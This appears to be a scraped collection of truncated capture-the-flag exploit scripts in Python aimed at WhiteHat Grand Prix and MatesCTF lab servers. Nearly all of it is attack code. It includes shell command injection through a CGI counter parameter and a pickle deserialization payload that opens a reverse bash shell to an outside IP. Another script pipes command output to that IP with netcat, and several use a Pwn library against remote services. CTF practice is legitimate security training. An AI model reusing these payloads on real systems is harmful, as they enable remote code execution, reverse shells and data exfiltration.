peternguyen93

import requests

cmd ='printf "%s|" /*'
# cmd = 'printf "%s|" /Sup3r_S3cr37_15_H3r3'
for i in xrange(400):
	a = requests.get('http://lab4b.grandprix.whitehatvn.com/cgi-bin/counter?hit=`a=$('+cmd+'); b=${a:'+str(i)+':1}; printf "%d" "\'$b"> /run/cgicounter`;')
	print chr(int(a.text.split(" ")[1].split("}")[0])),

'''
for fd in xrange(100):

peternguyen93

import urllib, urllib2
import pickle


url = 'http://lab13.grandprix.whitehatvn.com/b3acec105de421e136aad4024ee45b63.php?data='
shell = "cos\nsystem\n(S'bash -i >& /dev/tcp/128.199.171.28/8081 0>&1'\ntR."

tmp = url + urllib.quote_plus(shell)

req = urllib2.urlopen(tmp)

peternguyen93

import urllib, urllib2
import string
import socket

url = 'http://lab5b.grandprix.whitehatvn.com/cgi-bin/web13377331.py?input=0x1337'
flag = ''
regex_fail = 'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyX'
i = 1
charset = string.letters + string.digits + '_'
while 1:

peternguyen93

#!/usr/bin/python
# Author : peternguyen

from Pwn import *
import time

def exploit():

	# raw_input('Debug>')
	while 1:

peternguyen93

#!/usr/bin/python
# Author : peternguyen

from Pwn import *
import time
from capstone import *

p = Pwn(host='lab8.grandprix.whitehatvn.com',port=1337)

def xor(msg):

peternguyen93

#!/usr/bin/python
# Author : peternguyen

from Pwn import *
import time
# p = Pwn(host='lab9b.grandprix.whitehatvn.com',port=1337)
# p = Pwn(port=1337)

def exploit():
	cmd = 'cat flag.txt >&4;ls -lia >&4;'

peternguyen93

__author__ = 'yeuchimse'

import struct

FileMode = ['rb', 'wb', 'ab', 'r+b', 'w+b', 'a+b']
Registers = ['eax', 'ebx', 'ecx', 'edx', 'esi', 'edi', 'esp', 'ebp']


# region ...
def format_code(v):

peternguyen93

#!/usr/bin/python

from Pwn import *
import string

p = Pwn(mode=1,host='lab04.matesctf.org',port=4003)

def find_index_flag():
	p.read_until('Remember: send us your hex-encoded flag.\r\n')
	last = 0xff # -2

peternguyen93

#!/usr/bin/python

from Pwn import *

p = Pwn(mode=1,host='lab02.matesctf.org',port=4001)

def add_node(nid,content):
	p.read_until('Please choose an option :')
	p.write('1\n')
	p.read_until('Please give me an id:')

peternguyen93

#!/usr/bin/python

from Pwn import *

p = Pwn(host='54.152.37.20',port=24242)
# p = Pwn(port=24242)

def exploit():
	shell = raw_input('> ')
	back_connect = shell + ' | nc 128.199.171.28 8001'